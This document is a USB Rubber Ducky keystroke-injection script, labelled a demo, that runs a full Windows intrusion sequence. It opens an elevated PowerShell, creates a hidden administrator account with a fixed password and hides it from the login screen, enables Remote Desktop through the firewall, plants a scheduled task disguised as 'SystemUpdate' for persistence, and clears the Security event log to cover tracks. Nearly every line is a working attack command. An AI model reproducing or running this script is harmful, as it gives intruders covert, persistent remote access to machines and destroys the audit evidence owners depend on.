**USB Rubber Ducky Payload Script**

| Ducky Script Key  * REM : A comment. Used to describe what each section or line does. It does not affect script execution. * DELAY : Pauses execution for a specified number of milliseconds. *E.g., DELAY 1000 pauses for 1 second.* * STRING : Types the text that follows, as if entered by a keyboard. * ENTER : Press the Enter/Return key. |
| --- |

REM Final Working Ducky Script - Launching PowerShell As Admin + Full Visual Demo

**REM Step 1: Open Run dialog**

DELAY 2000

GUI r

DELAY 500

**REM Step 2: Open basic PowerShell (non-admin)**

STRING powershell

ENTER

DELAY 1500

**REM Step 3: Elevate to Admin using RunAs *(manual UAC click required)***

STRING Start-Process powershell -Verb RunAs

ENTER

DELAY 3000

**REM NOTE: You must manually approve the UAC popup at this point**

**REM Step 4: Create a new hidden admin account**

STRING net user HiddenAdmin Password123 /add

ENTER

DELAY 1000

STRING net localgroup Administrators HiddenAdmin /add

ENTER

DELAY 1000

**REM Step 5: Hide the new account from login screen**

STRING reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v HiddenAdmin /t REG\_DWORD /d 0 /f

ENTER

DELAY 1000

**REM Step 6: Enable Remote Desktop + open firewall**

STRING reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG\_DWORD /d 0 /f

ENTER

DELAY 1000

STRING netsh advfirewall firewall set rule group="Remote Desktop" new enable=Yes

ENTER

DELAY 1000

**REM Step 7: Add persistence via scheduled task**

STRING schtasks /create /tn "SystemUpdate" /tr "powershell -Command Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -Name fDenyTSConnections -Value 0" /sc onlogon /rl highest /f

ENTER

DELAY 1000

**REM Step 8: Clear Windows Security logs *(cover tracks)***

STRING wevtutil cl Security

ENTER

DELAY 1000

**REM Final status message for demo**

STRING echo Attack Complete - All Stages Executed

ENTER